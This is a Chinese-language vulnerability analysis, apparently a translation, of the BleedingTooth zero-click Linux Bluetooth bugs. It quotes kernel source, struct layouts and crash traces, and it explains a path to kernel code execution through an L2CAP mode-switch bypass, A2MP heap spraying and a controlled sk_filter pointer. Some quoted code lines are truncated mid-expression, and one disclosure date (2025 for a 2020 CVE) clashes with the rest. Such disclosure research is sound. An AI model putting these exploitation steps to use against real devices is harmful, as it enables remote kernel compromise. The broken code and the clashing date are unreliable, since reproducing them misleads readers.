BleedingTooth:Linux蓝牙零点击远程代码执行漏洞分析
导语:BleedingTooth是Linux蓝牙子系统中的一组零点击漏洞,它可以允许未经身份验证的远程攻击者在短距离内对具有漏洞的设备执行带有内核特权的任意代码。
0x01 漏洞概述
BleedingTooth是Linux蓝牙子系统中的一组零点击漏洞,它可以允许未经身份验证的远程攻击者在短距离内对具有漏洞的设备执行带有内核特权的任意代码。
我注意到syzkaller已经对网络子系统进行了大量的模糊测试,但是诸如蓝牙之类的子系统的覆盖范围较差。通常,对蓝牙主机攻击面的研究似乎非常有限,蓝牙中的大多数公开漏洞仅影响固件或规范本身,并且仅允许攻击者窃听和操纵信息。
https://github.com/google/syzkaller https://www.armis.com/bleedingbit/ https://knobattack.com/
但是,如果攻击者可以完全控制设备怎么办?证明这种情况的最著名的例子是BlueBorne和BlueFrag。我设定了自己的目标,即研究Linux蓝牙堆栈,扩展BlueBorne的发现,并扩展syzkaller对/dev/vhci设备进行模糊测试。
https://www.armis.com/blueborne/ https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
本文介绍了我对漏洞的利用研究,并最终链接成一个RCE利用,目标是x86-64的Ubuntu 20.04.1。
https://www.youtube.com/watch?v=qPYrLRausSw
Google会直接与BlueZ和Linux蓝牙子系统维护者(Intel)联系,以便协调针对此系列漏洞的多方响应。英特尔发布了带有修补程序的安全公告INTEL-SA-00435,但在披露时这些补丁程序尚未包含在任何已发布的内核版本中。应该通知Linux Kernel Security团队以跟进协调,并且将来还会将这种类型的漏洞报告给他们。各个漏洞的修补程序是:
· BadVibes(CVE-2020-24490)已于2020.9.30公布:commit。
· BadChoice(CVE-2020-12352)和BadKarma(CVE-2020-12351)于2025.9.24公布信息1,2,3,4
这些漏洞的严重程度从中到高不等,但合在一起,则构成了严重的安全风险。
0x02 漏洞介绍
让我们简要介绍一下蓝牙堆栈。蓝牙芯片使用HCI(主机控制器接口)协议与主机(操作系统)进行通信。常见的数据包是:
· 命令包–由主机发送到控制器。
· 事件包–由控制器发送到主机以通知事件。
· 数据包–通常携带L2CAP(逻辑链路控制和适配协议)数据包,用于实现传输层。
在L2CAP之上构建了更高级别的协议,例如A2MP(AMP管理器协议)或SMP(安全管理协议)。在Linux实现中,所有这些协议都是未经身份验证而公开的,由于其中某些协议甚至存在于内核中,因此漏洞非常严重。
BadVibes:堆缓冲区溢出漏洞(CVE-2020-24490)
我通过手动检查HCI事件数据包解析器发现了第一个漏洞(在Linux内核4.19中引入)。HCI事件数据包是由蓝牙芯片制作和发送的,通常无法由攻击者控制(除非它们也可以控制蓝牙固件)。但是,有两种非常相似的方法hci_le_adv_report_evt()和hci_le_ext_adv_report_evt(),其目的是解析来自远程蓝牙设备的 广播消息,这些消息的大小是可变的。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c static void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) { u8 num_reports = skb->data[0]; void *ptr = &skb->data[1]; hci_dev_lock(hdev); while (num_reports--) { struct hci_ev_le_advertising_info *ev = ptr; s8 rssi; if (ev->length data[ev->length]; process_adv_report(hdev, ev->evt_type, &ev->bdaddr, ev->bdaddr_type, NULL, 0, rssi, ev->data, ev->length); } else { bt_dev_err(hdev, "Dropping invalid advertising data"); } ptr += sizeof(*ev) + ev->length + 1; } hci_dev_unlock(hdev); } ... static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb) { u8 num_reports = skb->data[0]; void *ptr = &skb->data[1]; hci_dev_lock(hdev); while (num_reports--) { struct hci_ev_le_ext_adv_report *ev = ptr; u8 legacy_evt_type; u16 evt_type; evt_type = __le16_to_cpu(ev->evt_type); legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type); if (legacy_evt_type != LE_ADV_INVALID) { process_adv_report(hdev, legacy_evt_type, &ev->bdaddr, ev->bdaddr_type, NULL, 0, ev->rssi, ev->data, ev->length); } ptr += sizeof(*ev) + ev->length; } hci_dev_unlock(hdev); }
请注意,这两种方法是如何调用process_adv_report()的,后一种方法不会检查ev->length它是否小于或等于HCI_MAX_AD_LENGTH=31,process_adv_report()和store_pending_adv_report()函数使用事件数据和长度进行调用:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr, u8 bdaddr_type, bdaddr_t *direct_addr, u8 direct_addr_type, s8 rssi, u8 *data, u8 len) { ... if (!has_pending_adv_report(hdev)) { ... if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) { store_pending_adv_report(hdev, bdaddr, bdaddr_type, rssi, flags, data, len); return; } ... } ... }
最后,该store_pending_adv_report()子例程将数据复制到d->last_adv_data:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/hci_event.c static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr, u8 bdaddr_type, s8 rssi, u32 flags, u8 *data, u8 len) { struct discovery_state *d = &hdev->discovery; ... memcpy(d->last_adv_data, data, len); d->last_adv_data_len = len; }
看一下struct hci_dev,我们可以看到缓冲区last_adv_data的大小与HCI_MAX_AD_LENGTH不足以容纳扩展report数据的大小相同。解析器理论上可以接收和路由最多255个字节的数据包到此方法。如果可能的话,我们可能会溢出last_adv_data并破坏成员,直到偏移量为0xbaf。
// pahole -E -C hci_dev --hex bluetooth.ko struct hci_dev { ... struct discovery_state { ... /* typedef u8 -> __u8 */ unsigned char last_adv_data[31]; /* 0xab0 0x1f */ ... } discovery; /* 0xa68 0x88 */ ... struct list_head { struct list_head * next; /* 0xb18 0x8 */ struct list_head * prev; /* 0xb20 0x8 */ } mgmt_pending; /* 0xb18 0x10 */ ... /* size: 4264, cachelines: 67, members: 192 */ /* sum members: 4216, holes: 17, sum holes: 48 */ /* paddings: 10, sum paddings: 43 */ /* forced alignments: 1 */ /* last cacheline: 40 bytes */ } __attribute__((__aligned__(8)));
但是,hci_le_ext_adv_report_evt()能够收到这么大的消息吗?可能预期会有更大的report,因为扩展report分析器似乎故意删除了31字节的检查。同样,由于它接近于hci_le_adv_report_evt()代码,因此该检查很可能不会被遗忘。实际上,通过查看规范,我们可以看到从31字节扩展到255字节是Bluetooth 5的主要功能之一:
回想一下在蓝牙4.0中,report有效载荷最大为31个八位位组。在蓝牙5中,我们通过添加其他report和新的reportPDU将有效负载增加到255个八位位组。 资料来源:https : //www.bluetooth.com/blog/exploring-bluetooth5-whats-new-in-advertising/
因此,仅当受害者的计算机具有Bluetooth 5芯片(这是“相对”新技术并且仅在较新的笔记本电脑上可用)时,并且受害者正在积极扫描report数据(即打开Bluetooth设置并搜索以查找)时,才可以触发此漏洞。
使用两个支持蓝牙5的设备,我们可以轻松地确认该漏洞并观察到类似的情况:
[ 118.490999] general protection fault: 0000 [#1] SMP PTI [ 118.491006] CPU: 6 PID: 205 Comm: kworker/u17:0 Not tainted 5.4.0-37-generic #41-Ubuntu [ 118.491008] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020 [ 118.491034] Workqueue: hci0 hci_rx_work [bluetooth] [ 118.491056] RIP: 0010:hci_bdaddr_list_lookup+0x1e/0x40 [bluetooth] [ 118.491060] Code: ff ff e9 26 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8b 07 48 89 e5 48 39 c7 75 0a eb 24 48 8b 00 48 39 f8 74 1c 44 8b 06 39 40 10 75 ef 44 0f b7 4e 04 66 44 39 48 14 75 e3 38 50 16 75 [ 118.491062] RSP: 0018:ffffbc6a40493c70 EFLAGS: 00010286 [ 118.491066] RAX: 4141414141414141 RBX: 000000000000001b RCX: 0000000000000000 [ 118.491068] RDX: 0000000000000000 RSI: ffff9903e76c100f RDI: ffff9904289d4b28 [ 118.491070] RBP: ffffbc6a40493c70 R08: 0000000093570362 R09: 0000000000000000 [ 118.491072] R10: 0000000000000000 R11: ffff9904344eae38 R12: ffff9904289d4000 [ 118.491074] R13: 0000000000000000 R14: 00000000ffffffa3 R15: ffff9903e76c100f [ 118.491077] FS: 0000000000000000(0000) GS:ffff990434580000(0000) knlGS:0000000000000000 [ 118.491079] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 118.491081] CR2: 00007feed125a000 CR3: 00000001b860a003 CR4: 00000000003606e0 [ 118.491083] Call Trace: [ 118.491108] process_adv_report+0x12e/0x560 [bluetooth] [ 118.491128] hci_le_meta_evt+0x7b2/0xba0 [bluetooth] [ 118.491134] ? __wake_up_sync_key+0x1e/0x30 [ 118.491140] ? sock_def_readable+0x40/0x70 [ 118.491143] ? __sock_queue_rcv_skb+0x142/0x1f0 [ 118.491162] hci_event_packet+0x1c29/0x2a90 [bluetooth] [ 118.491186] ? hci_send_to_monitor+0xae/0x120 [bluetooth] [ 118.491190] ? skb_release_all+0x26/0x30 [ 118.491207] hci_rx_work+0x19b/0x360 [bluetooth] [ 118.491211] ? __schedule+0x2eb/0x740 [ 118.491217] process_one_work+0x1eb/0x3b0 [ 118.491221] worker_thread+0x4d/0x400 [ 118.491225] kthread+0x104/0x140 [ 118.491229] ? process_one_work+0x3b0/0x3b0 [ 118.491232] ? kthread_park+0x90/0x90 [ 118.491236] ret_from_fork+0x35/0x40
我们可以完全控制其中的成员struct hci_dev。一个有趣的指向异常的指针是mgmt_pending->next,因为它是struct mgmt_pending_cmd包含函数指针的cmd_complete()类型:
// pahole -E -C mgmt_pending_cmd --hex bluetooth.ko struct mgmt_pending_cmd { ... int (*cmd_complete)(struct mgmt_pending_cmd *, u8); /* 0x38 0x8 */ /* size: 64, cachelines: 1, members: 8 */ /* sum members: 62, holes: 1, sum holes: 2 */ };
例如,可以通过中止HCI连接来触发此处理程序。但是,为了成功重定向mgmt_pending->next指针,我们需要一个附加的信息泄漏漏洞,我们将在下一节中看到。
BadChoice:堆栈信息泄漏漏洞(CVE-2020-12352)
BadVibes漏洞可以读写原语,但是无法实现进一步利用,而且没有办法使用它泄漏受害者的内存布局。原因是唯一可以破坏的成员是指向循环列表的指针。顾名思义,这些数据结构是循环的,因此我们不能在不确保它们最终指向其起点的情况下对其进行更改。当受害者的内存布局是随机的时,很难满足此要求。尽管内核中有一些资源是在静态地址上分配的,但是它们的内容很可能是不可控制的。因此,我们首先需要了解内存布局,以便利用BadVibes。更具体地说,我们需要泄漏受害者的一些内存地址,我们可以控制或至少预测其内容。
通常,信息泄漏是通过利用越界访问,使用未初始化的变量来实现的,或者最近通过侧信道/定时攻击来实现的。后者可能难以实现,因为传输可能会有抖动。我们集中讨论前两个漏洞,并遍历所有子例程,这些子例程将一些信息发送回攻击者,并查看它们中的任何一个是否可以泄露越界数据或未初始化的内存。
通过遍历所有a2mp_send()调用,我发现了A2MP协议命令A2MP_GETINFO_REQ中的第二个漏洞。该漏洞自Linux内核3.6起就存在,并且如果CONFIG_BT_HS=y默认启用,此漏洞就可以实现利用。
让我们看一下通过A2MP_GETINFO_REQ命令看一下a2mp_getinfo_req()调用的子例程:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c static int a2mp_getinfo_req(struct amp_mgr *mgr, struct sk_buff *skb, struct a2mp_cmd *hdr) { struct a2mp_info_req *req = (void *) skb->data; ... hdev = hci_dev_get(req->id); if (!hdev || hdev->dev_type != HCI_AMP) { struct a2mp_info_rsp rsp; rsp.id = req->id; rsp.status = A2MP_STATUS_INVALID_CTRL_ID; a2mp_send(mgr, A2MP_GETINFO_RSP, hdr->ident, sizeof(rsp), &rsp); goto done; } ... }
该子例程用于使用HCI设备ID请求有关AMP控制器的信息。但是,如果该类型无效或无效HCI_AMP,则采用漏洞路径,这意味着受害者将A2MP_STATUS_INVALID_CTRL_ID状态发送回给我们。不幸的是,struct a2mp_info_rsp由更多的成员组成,而不仅仅是ID和状态,而且正如我们所看到的,响应结构还没有完全初始化。最终,可以向攻击者泄露16个字节的内核堆栈,其中可能包含受害者的敏感数据:
// pahole -E -C a2mp_info_rsp --hex bluetooth.ko struct a2mp_info_rsp { /* typedef __u8 */ unsigned char id; /* 0 0x1 */ /* typedef __u8 */ unsigned char status; /* 0x1 0x1 */ /* typedef __le32 -> __u32 */ unsigned int total_bw; /* 0x2 0x4 */ /* typedef __le32 -> __u32 */ unsigned int max_bw; /* 0x6 0x4 */ /* typedef __le32 -> __u32 */ unsigned int min_latency; /* 0xa 0x4 */ /* typedef __le16 -> __u16 */ short unsigned int pal_cap; /* 0xe 0x2 */ /* typedef __le16 -> __u16 */ short unsigned int assoc_size; /* 0x10 0x2 */ /* size: 18, cachelines: 1, members: 7 */ /* last cacheline: 18 bytes */ } __attribute__((__packed__));
通过发送A2MP_GETINFO_REQ命令以在发送之前填充堆栈帧,可以利用此漏洞。在这里,有趣的命令是那些将指针放在a2mp_getinfo_req()可重复调用的同一堆栈帧中的命令。这样,未初始化的变量可能覆盖先前被推入堆栈的指针。
请注意,使用CONFIG_INIT_STACK_ALL_PATTERN=y编译的内核不应容易受到此类攻击。例如,在ChromeOS上,BadChoice仅返回0xAA。但是,在Linux发行版上似乎尚未默认启用此选项。
BadKarma:堆类型混淆漏洞(CVE-2020-12351)
我在尝试触发BadChoice并确认其可利用性时发现了第三个漏洞,受害人的计算机意外崩溃,并打印了以下调用跟踪:
[ 445.440736] general protection fault: 0000 [#1] SMP PTI [ 445.440740] CPU: 4 PID: 483 Comm: kworker/u17:1 Not tainted 5.4.0-40-generic #44-Ubuntu [ 445.440741] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020 [ 445.440764] Workqueue: hci0 hci_rx_work [bluetooth] [ 445.440771] RIP: 0010:sk_filter_trim_cap+0x6d/0x220 [ 445.440773] Code: e8 18 e1 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 4c 8b 78 18 48 89 4d b0 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 00 00 49 8b 47 30 49 8d [ 445.440776] RSP: 0018:ffffa86b403abca0 EFLAGS: 00010286 [ 445.440778] RAX: ffffffffc071cc50 RBX: ffff8e95af6d7000 RCX: 0000000000000000 [ 445.440780] RDX: 0000000000000000 RSI: ffff8e95ac533800 RDI: ffff8e95af6d7000 [ 445.440781] RBP: ffffa86b403abd00 R08: ffff8e95b452f0e0 R09: ffff8e95b34072c0 [ 445.440782] R10: ffff8e95acd57818 R11: ffff8e95b456ae38 R12: ffff8e95ac533800 [ 445.440784] R13: 0000000000000000 R14: 0000000000000001 R15: 30478b4800000208 [ 445.440786] FS: 0000000000000000(0000) GS:ffff8e95b4500000(0000) knlGS:0000000000000000 [ 445.440788] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 445.440789] CR2: 000055f371aa94a8 CR3: 000000022dc0a005 CR4: 00000000003606e0 [ 445.440791] Call Trace: [ 445.440817] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth] [ 445.440838] l2cap_data_rcv+0x351/0x510 [bluetooth] [ 445.440857] l2cap_data_channel+0x29f/0x470 [bluetooth] [ 445.440875] l2cap_recv_frame+0xe5/0x300 [bluetooth] [ 445.440878] ? skb_release_all+0x26/0x30 [ 445.440896] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth] [ 445.440914] hci_rx_work+0x186/0x360 [bluetooth] [ 445.440919] process_one_work+0x1eb/0x3b0 [ 445.440921] worker_thread+0x4d/0x400 [ 445.440924] kthread+0x104/0x140 [ 445.440927] ? process_one_work+0x3b0/0x3b0 [ 445.440929] ? kthread_park+0x90/0x90 [ 445.440932] ret_from_fork+0x35/0x40
看一下l2cap_data_rcv(),我们可以看到sk_filter()在使用ERTM(增强重传模式)或流模式(类似于TCP)时调用了:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb) { ... if ((chan->mode == L2CAP_MODE_ERTM || chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb)) goto drop; ... }
对于A2MP通道确实是这种情况(可以将通道与网络端口进行比较):
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c static struct l2cap_chan *a2mp_chan_open(struct l2cap_conn *conn, bool locked) { struct l2cap_chan *chan; int err; chan = l2cap_chan_create(); if (!chan) return NULL; ... chan->mode = L2CAP_MODE_ERTM; ... return chan; } ... static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked) { struct amp_mgr *mgr; struct l2cap_chan *chan; mgr = kzalloc(sizeof(*mgr), GFP_KERNEL); if (!mgr) return NULL; ... chan = a2mp_chan_open(conn, locked); if (!chan) { kfree(mgr); return NULL; } mgr->a2mp_chan = chan; chan->data = mgr; ... return mgr; }
查看amp_mgr_create(),很清楚看到问题在哪里。即,chan->data是struct amp_mgr类型,而sk_filter()采用struct sock类型的参数,这意味着我们在设计上会产生远程类型混淆问题,这种混淆是在Linux内核4.8中引入的,该问题一直存在。
0x03 漏洞利用开发
该BadChoice漏洞可以链接BadVibes和BadKarma实现RCE。在此文中,由于以下原因,我们仅关注使用BadKarma的方法:
· BadKarma漏洞影响不限于蓝牙5。
· BadKarma漏洞不需要受害者进行扫描。
· BadKarma漏洞可以对特定设备执行有针对性的攻击。
BadVibes攻击是广播模式,因此只有一台机器可以被成功利用,而所有其他机器收到的相同消息只会崩溃。
绕过 BadKarma
具有讽刺意味的是,为了利用BadKarma,我们必须首先绕过BadKarma。回想一下,在设计上存在类型混淆漏洞,并且只要将A2MP通道配置为ERTM /流模式,我们就不会通过l2cap_data_rcv()触发A2MP子程序而无法进入sk_filter()A2MP子例程。
看一下l2cap_data_channel(),我们可以看到采用另一条路线的唯一可能方法是将通道模式重新配置为L2CAP_MODE_BASIC。这将允许我们直接调用A2MP接收处理程序:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c static void l2cap_data_channel(struct l2cap_conn *conn, u16 cid, struct sk_buff *skb) { struct l2cap_chan *chan; chan = l2cap_get_chan_by_scid(conn, cid); ... switch (chan->mode) { ... case L2CAP_MODE_BASIC: /* If socket recv buffers overflows we drop data here * which is *bad* because L2CAP has to be reliable. * But we don't have any other choice. L2CAP doesn't * provide flow control mechanism. */ if (chan->imtu < skb->len) { BT_ERR("Dropping L2CAP data: receive buffer overflow"); goto drop; } if (!chan->ops->recv(chan, skb)) goto done; break; case L2CAP_MODE_ERTM: case L2CAP_MODE_STREAMING: l2cap_data_rcv(chan, skb); goto done; ... } ... }
但是,是否可以重新配置通道模式?根据规范,对于A2MP通道,必须使用ERTM或流模式:
蓝牙内核通过对AMP上使用的任何L2CAP通道强制使用增强型重传模式或流式传输模式,可为内核之上的协议和配置文件保持一定程度的可靠性。 来源:https : //www.bluetooth.org/DocMan/handlers/DownloadDoc.ashx?doc_id=421043
出于某种原因,此事实未在规范中描述,Linux的实现实际上允许我们通过将所需的L2CAP_MODE_BASIC通道模式封装在配置响应中来从任何通道模式切换为L2CAP_CONF_UNACCEPT:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c` static inline int l2cap_config_rsp(struct l2cap_conn *conn, struct l2cap_cmd_hdr *cmd, u16 cmd_len, u8 *data) { struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data; ... scid = __le16_to_cpu(rsp->scid); flags = __le16_to_cpu(rsp->flags); result = __le16_to_cpu(rsp->result); ... chan = l2cap_get_chan_by_scid(conn, scid); if (!chan) return 0; switch (result) { ... case L2CAP_CONF_UNACCEPT: if (chan->num_conf_rsp data, len, req, sizeof(req), &result); ... } fallthrough; ... } ... }
l2cap_parse_conf_rsp()函数调用子例程,如果指定了L2CAP_CONF_RFC选项类型,而当前的通道模式不是L2CAP_MODE_BASIC,则可以将其更改为我们的期望:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, void *data, size_t size, u16 *result) { ... while (len >= L2CAP_CONF_OPT_SIZE) { len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); if (len < 0) break; switch (type) { ... case L2CAP_CONF_RFC: if (olen != sizeof(rfc)) break; memcpy(&rfc, (void *)val, olen); ... break; ... } } if (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode) return -ECONNREFUSED; chan->mode = rfc.mode; ... }
因此,问题是我们是否首先需要从受害者那里收到配置请求,然后才能发送回配置响应?这似乎是该协议的弱点。此外,无论受害人与我们进行何种通信,我们都可以发送L2CAP_CONF_UNACCEPT回复,受害人会接收我们的回复数据。
使用配置响应旁路,我们现在可以访问A2MP命令并利用BadChoice检索需要的所有信息。要触发类型混淆漏洞,我们可以通过断开并连接该通道来简单地重新创建A2MP通道,并按照BadKarma的要求将通道模式设置回ERTM。
寻找 sk_filter()
据我们了解,BadKarma的问题是将struct amp_mgr对象传递给sk_filter(),而期望传递的是struct sock对象。换句话说,struct sock中的字段映射到了struct amp_mgr中的字段。结果,这可能导致取消引用无效的指针并最终导致异常。回顾以前的异常日志,经常出现这种状况,并且是导致BadKarma出现的主要原因。
是否可以控制该指针取消引用,能不能控制struct amp_mgr其他成员以影响sk_filter()的代码流?让我们看一下sk_filter()并跟踪struct sock *sk的用法,以了解在此子例程中哪些成员是相关的。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h static inline int sk_filter(struct sock *sk, struct sk_buff *skb) { return sk_filter_trim_cap(sk, skb, 1); } // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap) { int err; struct sk_filter *filter; /* * If the skb was allocated from pfmemalloc reserves, only * allow SOCK_MEMALLOC sockets to use it as this socket is * helping free memory */ if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) { NET_INC_STATS(sock_net(sk), LINUX_MIB_PFMEMALLOCDROP); return -ENOMEM; } err = BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb); if (err) return err; err = security_sock_rcv_skb(sk, skb); if (err) return err; rcu_read_lock(); filter = rcu_dereference(sk->sk_filter); if (filter) { struct sock *save_sk = skb->sk; unsigned int pkt_len; skb->sk = sk; pkt_len = bpf_prog_run_save_cb(filter->prog, skb); skb->sk = save_sk; err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM; } rcu_read_unlock(); return err; }
sk的第一个用法是在sock_flag(),尽管该函数只是检查某些标志,而且仅在skb_pfmemalloc()返回true时才会发生。相反,让我们看一下它对BPF_CGROUP_RUN_PROG_INET_INGRESS()套接字结构的作用:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf-cgroup.h #define BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb) \ ({ \ int __ret = 0; \ if (cgroup_bpf_enabled) \ __ret = __cgroup_bpf_run_filter_skb(sk, skb, \ BPF_CGROUP_INET_INGRESS); \ \ __ret; \ }) // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/cgroup.c int __cgroup_bpf_run_filter_skb(struct sock *sk, struct sk_buff *skb, enum bpf_attach_type type) { ... if (!sk || !sk_fullsock(sk)) return 0; if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6) return 0; ... }
同样,sk_fullsock()也会检查标志,sk->sk_family必须为AF_INET=2或AF_INET6=10,然后才能继续。该字段位于struct sock的偏移量0x10中:
// pahole -E -C sock --hex bluetooth.ko struct sock { struct sock_common { ... short unsigned int skc_family; /* 0x10 0x2 */ ... } __sk_common; /* 0 0x88 */ ... struct sk_filter * sk_filter; /* 0x110 0x8 */ ... /* size: 760, cachelines: 12, members: 88 */ /* sum members: 747, holes: 4, sum holes: 8 */ /* sum bitfield members: 40 bits (5 bytes) */ /* paddings: 1, sum paddings: 4 */ /* forced alignments: 1 */ /* last cacheline: 56 bytes */ } __attribute__((__aligned__(8)));
查看struct amp_mgr中的偏移量0x10 ,该字段会映射到struct l2cap_conn指针:
// pahole -E -C amp_mgr --hex bluetooth.ko struct amp_mgr { ... struct l2cap_conn * l2cap_conn; /* 0x10 0x8 */ ... /* size: 112, cachelines: 2, members: 11 */ /* sum members: 110, holes: 1, sum holes: 2 */ /* last cacheline: 48 bytes */ };
由于这是指向与分配大小(最小32个字节)对齐的堆对象的指针,因此,意味着__cgroup_bpf_run_filter_skb()指针的低字节不能是2或10 。确定这一点后,我们知道无论其他字段具有什么值,该子例程始终返回0。同样,子例程security_sock_rcv_skb()需要相同的条件,否则返回0。
这使sk->sk_filter成为唯一潜在的异常成员。稍后我们将看到对struct sk_filter进行控制可能有什么用,但首先请注意,sk_filter它位于偏移量0x110处,而struct amp_mgr大小仅为112 = 0x70字节宽。那是不是我们无法控制?是的,通常它不在我们的控制范围内,但是,如果我们有一种方法可以对堆进行整理,那么对指针进行完全控制可能会更加容易。详细来说,struct amp_mgr的大小为112字节(介于65和128之间),因此它在kmalloc-128 slab中分配。通常,slab中的内存块在前面不包含元数据,因为其目的是最大程度地减少碎片。这样,存储块是连续的,因此,为了将指针控制在偏移量0x110处,我们必须实现堆布局,其中所需的指针位于struct amp_mgr之后的第二个块的偏移量0x10处。
查找 堆元语
为了使kmalloc-128 slab成形,我们需要一个命令,该命令可以分配(最好是可控制的)大小在65-128字节之间的内存。与其他L2CAP实现不同,Linux实现中堆的使用率很低。快速搜索kmalloc()或kzalloc()在net/bluetooth/收益率没有什么用处。我们想要的是一个可以分配任意大小的内存原语,将攻击者控制的数据复制到其中,然后将其保留直到释放它。
这听起来很像kmemdup()吧?令人惊讶的是,A2MP协议正是为我们提供了这样一个原始的方法。即我们可以发出一个A2MP_GETAMPASSOC_RSP命令来使用kmemdup()复制内存,并将内存地址存储在控制结构中:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c static int a2mp_getampassoc_rsp(struct amp_mgr *mgr, struct sk_buff *skb, struct a2mp_cmd *hdr) { ... u16 len = le16_to_cpu(hdr->len); ... assoc_len = len - sizeof(*rsp); ... ctrl = amp_ctrl_lookup(mgr, rsp->id); if (ctrl) { u8 *assoc; assoc = kmemdup(rsp->amp_assoc, assoc_len, GFP_KERNEL); if (!assoc) { amp_ctrl_put(ctrl); return -ENOMEM; } ctrl->assoc = assoc; ctrl->assoc_len = assoc_len; ctrl->assoc_rem_len = assoc_len; ctrl->assoc_len_so_far = 0; amp_ctrl_put(ctrl); } ... }
为了返回amp_ctrl_lookup()控制结构,我们必须首先使用以下A2MP_GETINFO_RSP命令将其添加到列表中:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c static int a2mp_getinfo_rsp(struct amp_mgr *mgr, struct sk_buff *skb, struct a2mp_cmd *hdr) { struct a2mp_info_rsp *rsp = (struct a2mp_info_rsp *) skb->data; ... ctrl = amp_ctrl_add(mgr, rsp->id); ... }
堆基元的大小和内容可以任意控制!唯一的缺点是没有方便的原语来允许我们释放分配。释放它们的唯一方法似乎是关闭HCI连接,这是一个相对较慢的操作。但是,要了解我们如何以受控方式释放分配(例如,释放每秒钟的分配以触发漏洞),我们需要密切注意内存管理。请注意,当我们在ctrl->assoc处存储新的内存地址时,我们不会释放先前存储在此处的内存块。而是,当我们覆盖它时,该存储块将被清理。要利用此行为,我们可以每秒重写一次ctrl->assoc 使用不同大小的分配,并且一旦关闭HCI连接,另一半将被释放,而覆盖的那一半将保持分配状态。
控制越界读取
那么为什么我们需要一个堆原语呢?回想一下,我们的想法是对堆进行整理并获得一个constellation,在该constellation中,由我们控制的内存块位于距struct amp_mgr对象一个块的位置。这样,我们可以控制偏移量0x110处的值,该值代表sk_filter指针。结果,当我们触发类型混淆时,我们可以取消引用任意指针。
以下基本技术在使用SLUB分配器的Ubuntu上利用比较稳定:
1.分配许多大小为128字节的对象以填充kmalloc-128 slab。
2.创建一个新的A2MP通道,并希望该struct amp_mgr对象与堆喷的对象相邻。
3.触发类型混淆漏洞,并实现受控的越界读取。
为了验证我们的堆喷是否成功,我们可以首先在受害者的机器上查询/proc/slabinfo有关kmalloc-128的信息:
$ sudo cat /proc/slabinfo slabinfo - version: 2.1 # name : tunables : slabdata ... kmalloc-128 1440 1440 128 32 1 : tunables 0 0 0 : slabdata 45 45 0 ...
然后,在堆喷之后,我们可以再次查询并发现active_objs增加了:
$ sudo cat /proc/slabinfo ... kmalloc-128 1760 1760 128 32 1 : tunables 0 0 0 : slabdata 55 55 0 ...
在上面的示例中,我们堆喷了320个对象,如果我们设法在这些新喷射的struct amp_mgr对象周围分配对象,则可能会出现异常,试图取消对受控指针的引用(观察RAX的值):
